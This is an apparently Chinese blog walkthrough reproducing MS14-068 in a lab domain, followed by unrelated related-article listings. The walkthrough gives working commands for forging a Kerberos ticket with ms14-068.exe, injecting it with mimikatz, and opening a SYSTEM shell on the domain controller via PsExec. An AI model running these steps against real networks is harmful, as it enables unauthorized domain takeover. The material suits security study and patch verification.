阿文、...
阿文、...

MS14-068（域提权）漏洞复现

这里便用到了我们之前所讲到的 PAC 这个东西，PAC 是用来验证 Client 的访问权限的，它会被TGT 里发送给 Client，然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了 MS14-068 这个漏洞。
该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心（KDC）服务中的 Windows 漏洞，它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限

该漏洞在windows server2012环境的域控中可能会发生报错

环境信息

windows server2008 R2（域控）：192.168.197.4
windows 7（成员机）：192.168.197.133

查看本地主机信息

使用域内主机域内普通用户登录

net config workstation

MS14-068（域提权）漏洞复现_第1张图片

查看域管主机信息
nltest /dsgetdc:

MS14-068（域提权）漏洞复现_第2张图片

查看本地是否打补丁
systeminfo |find "3011780"

返回空证明没打补丁
image.png

本地访问测试
dir \\WIN-S50F8HMOEBD.dc1.com\c$

image.png

查看用户信息
whoami -user

MS14-068（域提权）漏洞复现_第3张图片

使用ms14-068伪造票据：
ms14-068.exe -u [email protected] -p 123 -s S-1-5-21-3698873215-1888486255-1844816113-1107 -d WIN-S50F8HMOEBD.dc1.com

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址
MS14-068（域提权）漏洞复现_第4张图片
生成对应文件
MS14-068（域提权）漏洞复现_第5张图片

使用mimikatz来清除和写入凭证
kerberos::purge			//清除凭证
kerberos::ptc  票据地址

image.png
MS14-068（域提权）漏洞复现_第6张图片

再次链接后不会拒绝

dir \\WIN-S50F8HMOEBD.dc1.com\c$

MS14-068（域提权）漏洞复现_第7张图片

反弹shell
PsExec64.exe /accepteula /s \\WIN-S50F8HMOEBD.dc1.com cmd

系统权限
MS14-068（域提权）漏洞复现_第8张图片
域管IP
MS14-068（域提权）漏洞复现_第9张图片

当域控是windows server2012时

会有以下拦截，不知道是什么情况
MS14-068（域提权）漏洞复现_第10张图片

你可能感兴趣的:(漏洞复现,内网,运维,网络安全)

  • 想做黑客？先来学习 SQL 注入，一文带你学会！黑客技术零基础入门到精通教程建议收藏！ 认真写程序的强哥 sql数据库网络安全网络攻防黑客技术web安全SQL注入
    SQL注入（SQLInjection）是一种常见的网络攻击手段，攻击者通过在Web应用程序的输入字段中插入恶意SQL代码，欺骗后台数据库执行非授权的SQL语句。SQL注入可以用于获取、篡改或删除数据库中的数据，甚至可以用于执行系统命令，导致数据泄露、数据破坏或服务器被控制等严重后果。我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程，需要的小伙伴可
  • 【网络安全工程师】从零基础到进阶，看这一篇就够了 网络安全_入门教程 web安全安全网络安全
    学前感言1.这是一条需要坚持的道路，如果你只有三分钟的热情那么可以放弃往下看了。2.多练多想，不要离开了教程什么都不会，最好看完教程自己独立完成技术方面的开发。3.有问题多google,baidu…我们往往都遇不到好心的大神，谁会无聊天天给你做解答。4.遇到实在搞不懂的，可以先放放，以后再来解决。什么是网络安全？首先说一下什么是网络安全？其中网络安全工程师的工作内容具体都有哪些？网络安全是确保网络
  • Linux系统离线安装Python_linux离线安装python3 2401_84009529 程序员linuxpython运维
    笔者的配置如下：内网设备：一台Linux主机（Centos7），一台使用公司内网的Windows主机外网设备：一台Windows主机三、下载Python源码官网地址如下：Indexof/ftp/python/选择自己需要的python版本，如笔者选择的为python3.6.13，则需要对应版本的tar.xz包四、将离线python包传输到Linux主机笔者采用的方式如下：①使用U盘将离线包拷入公司
  • 【机器学习：三十、异常检测：原理与实践】 KeyPan 机器学习机器学习人工智能深度学习pytorch神经网络
    1.异常检测概述异常检测（AnomalyDetection）是一种用于识别数据中异常模式或异常点的技术，旨在发现与大部分数据行为不同的样本。它在工业监控、网络安全、金融欺诈检测等领域具有广泛应用。异常检测的目标是找到那些偏离正常行为的数据点，这些数据点可能代表错误、故障、攻击或其他需要特别关注的情况。核心概念异常通常分为以下三种类型：点异常：单个数据点显著偏离正常分布（例如，银行交易中突然的巨额消
  • 人生建议往死里学网络安全！零基础也能跨行学习！！漏洞挖掘还能做副业 黑客老哥 web安全学习安全网络系统安全
    一、网络安全的重要性：从‘不学会被黑’到‘学会保护别人’网络安全的概念现在不再是技术圈的独立话题，它已经渗透到社会的各个领域。从个人的隐私保护、企业的数据安全，到国家的信息防护，网络安全几乎影响了每一个人的生活。无论是黑客攻击、勒索病毒、数据泄露，还是国家间的信息战，网络安全已经成为现代社会的基础设施之一。所以，首先要明白学习网络安全的重要性：你不仅是在学习技术，更多的是在为自己和他人的安全“筑城
  • 关于ctf大赛 向晚753 web安全
    CTF（CaptureTheFlag）中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。一.CTF的起源发展CTF起源于1996年DEFCON全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。已经成为全球范围网络安全圈流行的竞赛形式，2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地，DEFCONCTF也
  • 网络学习记录4 Tic.. 网络知识专栏网络
    二、学习网络安全知识：1、常见的网络攻击:①口令入侵：攻击者使用某些合法用户的帐号和口令登录到目的主机，然后再实施攻击活动。这种方法的前提是必须先得到该主机上的某个合法用户的帐号，然后再进行合法用户口令的破译。②跨站脚本攻击（XSS）：主要采用脚本语言设计的计算机病毒，现在流行的脚本病毒大都是利用JavaScript和VBScript脚本语言编写。攻击者通过在网页中插入恶意脚本，当用户浏览该网页时
  • 数据仓库的复用性：模型层面通用指标体系、参数化模型、版本化管理 PersistDZ 大数据与AI数据仓库spark大数据
    在数据仓库设计中，复用性是一个关键原则，它不仅能提升数据资产的使用效率，还能降低开发成本、优化系统运维。下面将从模型层面的复用性、通用指标体系、参数化模型、版本化管理四个方面进行详细介绍，并提供可落地的设计方案。1.模型层面的复用性1.1复用性设计目标减少重复建模：通过统一的模型设计满足多个业务场景。灵活扩展性：模型设计具有适应不同业务需求的能力。标准化：统一命名、标准化维度和指标字段。1.2模型
  • 红队工具使用全解析：揭开网络安全神秘面纱一角 渗透小白鼠 web安全安全
    红队工具使用全解析：揭开网络安全神秘面纱一角B站红队公益课：https://space.bilibili.com/350329294学习网盘资源链接：https://pan.quark.cn/s/4079487939e8嘿，各位网络安全爱好者们！在风云变幻的网络安全战场上，红队宛如一支神秘且精锐的特种兵部队，手持一系列超厉害的工具，冲锋陷阵在虚拟世界，挖掘系统潜藏漏洞，模拟实战攻击情境，为筑牢网络
  • 初探 OpenTelemetry 程序员Live golang分布式
    什么是OpenTelemetryOpenTelemetry由OpenTracing和OpenCensus项目合并而成，是一组规范、工具、API和SDK的集合。使用它来检测、生成、收集和导出遥测数据（Metrics、Logs和Traces），以帮助运维开发人员分析软件的性能和行为。为众多开发人员带来Metrics、Traces、Logs的统一标准，三者都有相同的元数据结构，可以轻松实现互相关联。Op
  • 如何给公司内网搭建一个专用的DNS服务器？ 代码讲故事 服务器服务器linux运维DNS域名解析
    如何给公司内网搭建一个专用的DNS服务器？引言平时做域名解析，一般直接修改的/etc/hosts文件。对于服务器数量小的情况完全可以，但是如果服务器数量较多，每个都修改比较麻烦。DNS是作为域名解析。在实际的生产过程中，尤其是对于内网搭建的情况，DNS不可能使用互联网的DNS，这时需要我们自行搭建。环境准备准备了4台虚拟机提供服务IP地址域名DNS192.168.189.254Harbor192.
  • 使用frp进行内网穿透 山山而川_R PaddleOCRlinux
    为什么需要内网穿透功能从公网中访问自己的私有设备向来是一件难事儿。自己的主力台式机、NAS等等设备，它们可能处于路由器后，或者运营商因为IP地址短缺不给你分配公网IP地址。如果我们想直接访问到这些设备（远程桌面，远程文件，SSH等等），一般来说要通过一些转发或者P2P组网软件的帮助。我有一台计算机位于一个很复杂的局域网中，我想要实现远程桌面和文件访问，目前来看其所处的网络环境很难通过简单的端口映射
  • 读书笔记（SRE：Google运维解密）：第17章 测试可靠性 github_37320188 运维
    对服务质量的自信可以用过去的系统可靠度和未来的系统可靠度来衡量。前者可以通过抓取和分析历史性监控信息来获得，后者可以用基于历史数据的预测来量化。为了让这些预测信息足够准确，必须满足下列条件中之一：（a）在这段时间内，该系统完全没有改变。包括没有任何软件更新以及服务器数量变化，这意味着未来的行为方式应该与过去的行为方式类似。（b）可以充分描述整个系统的所有改变，这样可以针对每个系统变化引入的不确定性
  • 微软：全球每天网络攻击超6亿次 FreeBuf- 资讯microsoft
    《2024年微软数字防御报告》揭示了一个复杂的全球网络安全格局，每天发生超过6亿次网络攻击。报告强调了勒索软件、网络钓鱼和身份泄露事件的增加，以及网络犯罪团伙和国家行为者之间的合作。它强调了人工智能在攻击和防御中的重要作用，敦促组织采取主动的、多层次的策略来应对这些不断演变的威胁。核心观点每天有6亿次网络攻击针对微软客户。勒索软件攻击比去年增加了2.75倍。技术诈骗激增400%，每天发生超过10万
  • 网络安全、Web安全、渗透测试之笔经面经总结 网络安全Ash web安全安全
    本篇文章涉及的知识点有如下几方面：1.什么是WebShell?2.什么是网络钓鱼？3.你获取网络安全知识途径有哪些？4.什么是CC攻击？5.Web服务器被入侵后，怎样进行排查？6.dll文件是什么意思，有什么用？DLL劫持原理7.0day漏洞8.Rootkit是什么意思9.蜜罐10.ssh11.DDOS12.震网病毒：13.一句话木马14.Https的作用15.手工查找后门木马的小技巧16.描述O
  • 思科—网络安全笔记 黑客Ela web安全笔记网络
    漏洞漏洞的分类软件漏洞硬件漏洞1.缓冲器溢出：软件写数据的时候，超出数据区的边界范围，导致访问到其他软件的内存数据，可能产生的后果有：系统崩溃，权限提升，数据受损等。2.未验证输入：在程序输入的入口，恶意者故意输入可以强制改变软件内存分配和异常的缓冲区3.竞争条件：当软件的输出一依赖于：定时或者是有序时，当未按照正确的顺序或者是正确的时间定时输出时，竞争条件成为漏洞的来源4.安全验证：软件设计者在
  • DNS介绍（5）：DNS 劫持及解决方案 thinking-fish 基础设施dns劫持网络dns网络安全
    DNS劫持分析DNS劫持，亦称为域名重定向或DNS篡改，是一种网络攻击技术。其核心在于攻击者通过篡改DNS系统的域名解析结果，将用户本意访问的域名指向攻击者所掌控的IP地址。这种攻击不仅可能使用户无法顺利访问所需网站，还可能让用户面临多种网络安全风险。DNS（DomainNameSystem）是互联网的一项基础设施，负责将人们易于记忆的域名转换为计算机能够识别的IP地址。当DNS系统被攻击者篡改时
  • 【AIcoding技术必知必会】11问--CI/CD流水线是什么？ srzxy42 AIcoding技术必知必会ai产品经理学习
    基础介绍软件开发生命周期（SDLC）由下面这几个关键阶段组成：开发、测试、部署和运维。CI/CD将这些阶段自动化并整合起来，实现更快更可靠的发布。当代码提交到git仓库，便会触发自动的构建和测试流程。其中会运行端到端测试用例来验证代码。如果测试通过，代码就会自动部署到预发或生产环境。如果发现问题，代码就打回开发阶段进行修复。这种自动化过程为开发者提供了快速反馈，减少了生产环境中出问题的概率。CI/
  • 《探秘HVV蓝队：领先的网络安全技术背后的力量》 乐茵安全 rednotes数据库网络安全web安全
    企业网络架构企业技术和信息团队的管理架构因企业的规模、行业特性和业务需求而异，但通常遵循一定的框架和原则。高层管理CIO（首席信息官）：负责企业信息系统的战略规划、管理和优化，确保信息技术与企业战略保持一致。CTO（首席技术官）：负责运营技术的整体方向，包括技术创新、研发、技术选型等。IT管理中央系统：集中管理企业内的所有IT资源，包括软件、硬件和数据。自带设备（BYOD）：员工自带移动设备（如手
  • Linux配置网卡、创建用户赋予sudo权限、互信息等基本操作
    Linux基本操作指南：配置网卡、创建用户赋予sudo权限与互信息计算在Linux系统中，网络配置、用户管理和信息分析是日常运维和开发中不可或缺的部分。本文将详细介绍如何配置网卡、创建用户并赋予sudo权限，以及计算互信息的基本操作，帮助您高效管理和分析系统资源。配置网卡在Linux系统中，配置网卡是连接网络的基础操作。以下步骤以配置eth0网卡为例，说明如何设置静态IP地址。1.编辑网卡配置文件
  • 【赵渝强老师】Redis的慢查询日志 数据库nosqlredis
    Redis慢查询日志帮助开发和运维人员定位系统存在的慢操作。慢查询日志就是系统在命令执行前后计算每条命令的执行时间，当超过预设阀值，就将这条命令的相关信息（慢查询ID，发生时间戳，耗时，命令的详细信息）记录下来。Redis客户端的一条命令可以分为四个部分执行，如下图所示。视频讲解如下：https://www.bilibili.com/video/BV1hbpeehEwj/?aid=11309965
  • Docker基础教程
    由于格式和图片解析问题，可能会影响阅读体验，可前往博客阅读原文Docker是一个开源的容器化平台，可以帮助开发者和运维人员更快地构建、发布和运行应用程序。Docker使用容器技术，将应用程序和其依赖项打包到一个可移植的容器中，从而实现跨平台、快速部署和易于管理的目的。本文主要从docker的基础开始学习，包括基本架构、全局命令、镜像、仓库、容器扫码关注公众号，查看更多优质文章Docker架构Doc
  • caddy介绍及安装 dockercaddy
    参考文档：https://caddyserver.com一：caddy介绍Caddy是一款现代化的Web服务器，专为简化开发者和运维人员的工作流程而设计。它最大的特点是自动化和易用性，尤其是内置的自动HTTPS功能，使得部署安全的Web服务变得前所未有的简单。相比于传统的Web服务器（如Nginx、Apache），Caddy的目标是通过更简洁的配置、更智能的功能来减少人为出错的可能性，并提升部署效
  • Docker 中的多阶段构建：提高镜像构建效率与减小镜像大小
    Docker是现代应用程序开发和运维中不可或缺的工具，它通过容器化技术使得应用可以在任何地方以相同的方式运行。Docker容器提供了一种轻量级的虚拟化解决方案，帮助开发者和运维人员将应用及其所有依赖打包到一个独立的容器中运行。随着Docker使用场景的不断扩展，构建高效、精简的Docker镜像成为了开发过程中重要的一环。在Docker镜像构建过程中，如何减少镜像的大小和提升构建效率，已经成为开发者
  • 端口 443 与 80：它们有何不同？ httpshttp
    您是否知道超过90%的互联网流量通过端口443传输？如果您对网络安全或Web开发感兴趣，那么您可能遇到过不同编号的端口，尤其是端口80和443。但它们之间有什么区别？简而言之，端口80用于HTTP流量，端口443用于HTTPS。我们将重点介绍端口80与443、如何打开它们以及何时可能需要将流量从端口80重定向到443。什么是端口80？端口80是计算机网络上用于网络流量的通信端点。它是超文本传输协议
  • 数据库运维实操优质文章文档分享（含Oracle、MySQL等） | 2024年9月刊
    本文为大家整理了墨天轮数据社区2024年9月发布的优质技术文章/文档，主题涵盖Oracle、MySQL、PostgreSQL等主流数据库系统以及国产数据库的技术实操，从基础的安装配置到复杂的故障排查，再到性能优化的实用技巧及常用脚本等，分享给大家：Oracle优质技术文章概念梳理&安装配置Oracle授权如何购买？多少钱？如何计算？Oracle官方文档整理以及阅读指南Oracle篇：为什么SQL要
  • 【原创】【亲测有效】如何实现内网穿透 反向代理工具实操 超级实用 遗憾没早学会 精通代码大仙 协议分布式应用服务器服务器代理模式网络go远程工作网络安全网络协议
    高价值使用场景FRP（FastReverseProxy）是一个功能强大的工具，适用于多种网络场景。以下是几个常见、鲜明且有价值的使用案例：远程访问内部服务器：场景：远程工作者需要访问公司内部的数据库或Web服务。解决方案：通过FRP，远程用户可以穿透公司防火墙，访问内部服务，如同在公司内部网络一样。开发和测试Web应用：场景：开发者在本地开发Web应用，并希望向不在同一网络的同事展示。解决方案：使
  • 未来展望：等保测评在网络安全领域的持续创新与发展 亿林数据 web安全安全等保测评网络安全
    在数字化浪潮席卷全球的今天，网络安全已成为维护国家安全、社会稳定和经济发展的关键基石。作为网络安全保障体系的核心组成部分，等级保护测评（简称“等保测评”）在应对日益复杂多变的网络威胁中发挥着不可替代的作用。展望未来，等保测评将在技术、管理、生态等多个维度持续创新与发展，为构建更加安全可信的网络环境提供有力支撑。一、技术创新引领等保测评智能化升级随着人工智能（AI）、大数据、云计算等技术的快速发展，
  • 构建云原生后端服务——以Spring Boot + Kubernetes为例 ZhShy23 后端云原生开发语言springbootkubernetesecmascriptdocker
    在当今云计算的浪潮中，云原生技术栈以其高度的灵活性、可扩展性和自动化运维能力，正逐步成为构建现代化应用的首选。本文将通过一个实际的例子，展示如何使用SpringBoot构建微服务，并通过Kubernetes进行容器编排和部署，构建一个简单的云原生后端服务。文章目录一、项目背景二、技术栈三、SpringBoot微服务构建四、Docker容器化五、Kubernetes部署六、持续集成/持续部署（CI/
  • YashanDB完成中国信通院关系型数据库安全能力专项测试 数据库sql
    崖山数据库YashanDB产品简介崖山数据库系统是深圳计算科学研究院(简称“深算院”)和深圳崖山科技有限公司(简称“崖山科技”)自主研发设计的新型数据库管理系统，提供包括单机主备、共享集群、空间数据库、分布式实时数仓等系列数据库产品及配套开发、迁移、运维等工具体系，覆盖OLTP/HTAP/OLAP交易和分析混合负载场景，全面兼容私有化及云基础设施，为客户提供一站式的企业级融合数据管理解决方案。崖山
  • linux系统服务器下jsp传参数乱码 3213213333332132 javajsplinuxwindowsxml
    在一次解决乱码问题中， 发现jsp在windows下用js原生的方法进行编码没有问题，但是到了linux下就有问题， escape,encodeURI,encodeURIComponent等都解决不了问题 但是我想了下既然原生的方法不行，我用el标签的方式对中文参数进行加密解密总该可以吧。于是用了java的java.net.URLDecoder,结果还是乱码，最后在绝望之际，用了下面的方法解决了
  • Spring 注解区别以及应用 BlueSkator spring
    1. @Autowired @Autowired是根据类型进行自动装配的。如果当Spring上下文中存在不止一个UserDao类型的bean，或者不存在UserDao类型的bean，会抛出 BeanCreationException异常，这时可以通过在该属性上再加一个@Qualifier注解来声明唯一的id解决问题。   2. @Qualifier 当spring中存在至少一个匹
  • printf和sprintf的应用 dcj3sjt126com PHPsprintfprintf
    <?php printf('b: %b <br>c: %c <br>d: %d <bf>f: %f', 80,80, 80, 80); echo '<br />'; printf('%0.2f <br>%+d <br>%0.2f <br>', 8, 8, 1235.456); printf('th
  • config.getInitParameter 171815164 parameter
    web.xml <servlet> <servlet-name>servlet1</servlet-name> <jsp-file>/index.jsp</jsp-file> <init-param> <param-name>str</param-name>
  • Ant标签详解--基础操作 g21121 ant
            Ant的一些核心概念：         build.xml：构建文件是以XML 文件来描述的，默认构建文件名为build.xml。        project：每个构建文
  • [简单]代码片段_数据合并 53873039oycg 代码
            合并规则:删除家长phone为空的记录,若一个家长对应多个孩子,保留一条家长记录,家长id修改为phone,对应关系也要修改。         代码如下:        
  • java 通信技术 云端月影 Java 远程通信技术
    在分布式服务框架中，一个最基础的问题就是远程服务是怎么通讯的，在Java领域中有很多可实现远程通讯的技术，例如：RMI、MINA、ESB、Burlap、Hessian、SOAP、EJB和JMS等，这些名词之间到底是些什么关系呢，它们背后到底是基于什么原理实现的呢，了解这些是实现分布式服务框架的基础知识，而如果在性能上有高的要求的话，那深入了解这些技术背后的机制就是必须的了，在这篇blog中我们将来
  • string与StringBuilder 性能差距到底有多大 aijuans
              之前也看过一些对string与StringBuilder的性能分析，总感觉这个应该对整体性能不会产生多大的影响，所以就一直没有关注这块！         由于学程序初期最先接触的string拼接，所以就一直没改变过自己的习惯！        
  • 今天碰到 java.util.ConcurrentModificationException 异常 antonyup_2006 java多线程工作IBM
    今天改bug，其中有个实现是要对map进行循环，然后有删除操作，代码如下： Iterator<ListItem> iter = ItemMap.keySet.iterator(); while(iter.hasNext()){ ListItem it = iter.next(); //...一些逻辑操作 ItemMap.remove(it); } 结果运行报Con
  • PL/SQL的类型和JDBC操作数据库 百合不是茶 PL/SQL表标量类型游标PL/SQL记录
    PL/SQL的标量类型:    字符,数字,时间,布尔,%type五中类型的 --标量：数据库中预定义类型的变量 --定义一个变长字符串 v_ename varchar2(10); --定义一个小数,范围 -9999.99~9999.99 v_sal number(6,2); --定义一个小数并给一个初始值为5.4 :=是pl/sql的赋值号
  • Mockito：一个强大的用于 Java 开发的模拟测试框架实例 bijian1013 mockito单元测试
    Mockito框架：         Mockito是一个基于MIT协议的开源java测试框架。         Mockito区别于其他模拟框架的地方主要是允许开发者在没有建立“预期”时验证被测系统的行为。对于mock对象的一个评价是测试系统的测
  • 精通Oracle10编程SQL(10)处理例外 bijian1013 oracle数据库plsql
    /* *处理例外 */ --例外简介 --处理例外-传递例外 declare v_ename emp.ename%TYPE; begin SELECT ename INTO v_ename FROM emp where empno=&no; dbms_output.put_line('雇员名：'||v_ename); exceptio
  • 【Java】Java执行远程机器上Linux命令 bit1129 linux命令
    Java使用ethz通过ssh2执行远程机器Linux上命令，   封装定义Linux机器的环境信息   package com.tom; import java.io.File; public class Env { private String hostaddr; //Linux机器的IP地址 private Integer po
  • java通信之Socket通信基础 白糖_ javasocket网络协议
    正处于网络环境下的两个程序，它们之间通过一个交互的连接来实现数据通信。每一个连接的通信端叫做一个Socket。一个完整的Socket通信程序应该包含以下几个步骤： ①创建Socket； ②打开连接到Socket的输入输出流； ④按照一定的协议对Socket进行读写操作； ④关闭Socket。   Socket通信分两部分：服务器端和客户端。服务器端必须优先启动，然后等待soc
  • angular.bind boyitech AngularJSangular.bindAngularJS APIbind
    angular.bind 描述：         上下文，函数以及参数动态绑定，返回值为绑定之后的函数. 其中args是可选的动态参数，self在fn中使用this调用。 使用方法：          angular.bind(se
  • java-13个坏人和13个好人站成一圈，数到7就从圈里面踢出一个来，要求把所有坏人都给踢出来，所有好人都留在圈里。请找出初始时坏人站的位置。 bylijinnan java
    import java.util.ArrayList; import java.util.List; public class KickOutBadGuys { /** * 题目：13个坏人和13个好人站成一圈，数到7就从圈里面踢出一个来，要求把所有坏人都给踢出来，所有好人都留在圈里。请找出初始时坏人站的位置。 * Maybe you can find out
  • Redis.conf配置文件及相关项说明（自查备用） Kai_Ge redis
       Redis.conf配置文件及相关项说明 # Redis configuration file example # Note on units: when memory size is needed, it is possible to specifiy # it in the usual form of 1k 5GB 4M and so forth: #
  • [强人工智能]实现大规模拓扑分析是实现强人工智能的前奏 comsci 人工智能
         真不好意思,各位朋友...博客再次更新...      节点数量太少,网络的分析和处理能力肯定不足,在面对机器人控制的需求方面,显得力不从心....      但是,节点数太多,对拓扑数据处理的要求又很高,设计目标也很高,实现起来难度颇大...
  • 记录一些常用的函数 dai_lm java
    public static String convertInputStreamToString(InputStream is) { StringBuilder result = new StringBuilder(); if (is != null) try { InputStreamReader inputReader = new InputStreamRead
  • Hadoop中小规模集群的并行计算缺陷 datamachine mapreducehadoop并行计算
    注：写这篇文章的初衷是因为Hadoop炒得有点太热，很多用户现有数据规模并不适用于Hadoop，但迫于扩容压力和去IOE（Hadoop的廉价扩展的确非常有吸引力）而尝试。尝试永远是件正确的事儿，但有时候不用太突进，可以调优或调需求，发挥现有系统的最大效用为上策。 -----------------------------------------------------------------
  • 小学4年级英语单词背诵第二课 dcj3sjt126com englishword
    egg  蛋 twenty 二十 any 任何 well 健康的，好   twelve 十二 farm 农场 every 每一个 back 向后，回   fast 快速的 whose 谁的 much 许多 flower 花   watch 手表 very 非常，很 sport 运动 Chinese 中国的  
  • 自己实践了github的webhooks, linux上面的权限需要注意 dcj3sjt126com githubwebhook
    环境, 阿里云服务器   1. 本地创建项目, push到github服务器上面   2. 生成www用户的密钥 sudo -u www ssh-keygen -t rsa -C "[email protected]"     3. 将密钥添加到github帐号的SSH_KEYS里面   3. 用www用户执行克隆, 源使
  • Java冒泡排序 蕃薯耀 冒泡排序Java冒泡排序Java排序
    冒泡排序 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 2015年6月23日 10:40:14 星期二 http://fanshuyao.iteye.com/
  • Excle读取数据转换为实体List【基于apache-poi】 hanqunfeng apache
    1.依赖apache-poi   2.支持xls和xlsx   3.支持按属性名称绑定数据值   4.支持从指定行、列开始读取   5.支持同时读取多个sheet   6.具体使用方式参见org.cpframework.utils.excelreader.CP_ExcelReaderUtilTest.java 比如： Str
  • 3个处于草稿阶段的Javascript API介绍 jackyrong JavaScript
    原文： http://www.sitepoint.com/3-new-javascript-apis-may-want-follow/?utm_source=html5weekly&utm_medium=email   本文中，介绍3个仍然处于草稿阶段，但应该值得关注的Javascript API. 1) Web Alarm API   &
  • 6个创建Web应用程序的高效PHP框架 lampcy Web框架PHP
    以下是创建Web应用程序的PHP框架，有coder bay网站整理推荐： 1. CakePHP CakePHP是一个PHP快速开发框架，它提供了一个用于开发、维护和部署应用程序的可扩展体系。CakePHP使用了众所周知的设计模式，如MVC和ORM，降低了开发成本，并减少了开发人员写代码的工作量。 2. CodeIgniter CodeIgniter是一个非常小且功能强大的PHP框架，适合需
  • 评"救市后中国股市新乱象泛起"谣言 nannan408
    首先来看百度百家一位易姓作者的新闻： 三个多星期来股市持续暴跌，跌得投资者及上市公司都处于极度的恐慌和焦虑中，都要寻找自保及规避风险的方式。面对股市之危机，政府突然进入市场救市，希望以此来重建市场信心，以此来扭转股市持续暴跌的预期。而政府进入市场后，由于市场运作方式发生了巨大变化，投资者及上市公司为了自保及为了应对这种变化，中国股市新的乱象也自然产生。 首先，中国股市这两天
  • 页面全屏遮罩的实现 方式 Rainbow702 htmlcss遮罩mask
    之前做了一个页面，在点击了某个按钮之后，要求页面出现一个全屏遮罩，一开始使用了position:absolute来实现的。当时因为画面大小是固定的，不可以resize的，所以，没有发现问题。 最近用了同样的做法做了一个遮罩，但是画面是可以进行resize的，所以就发现了一个问题，当画面被reisze到浏览器出现了滚动条的时候，就发现，用absolute 的做法是有问题的。后来改成fixed定位就
  • 关于angularjs的点滴 tntxia AngularJS
      angular是一个新兴的JS框架，和以往的框架不同的事，Angularjs更注重于js的建模，管理，同时也提供大量的组件帮助用户组建商业化程序，是一种值得研究的JS框架。   Angularjs使我们可以使用MVC的模式来写JS。Angularjs现在由谷歌来维护。   这里我们来简单的探讨一下它的应用。   首先使用Angularjs我
  • Nutz--->>反复新建ioc容器的后果 xiaoxiao1992428 DAOmvcIOCnutz
    问题： public class DaoZ {     public static Dao dao() { // 每当需要使用dao的时候就取一次     Ioc ioc = new NutIoc(new JsonLoader("dao.js"));     return ioc.get(
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他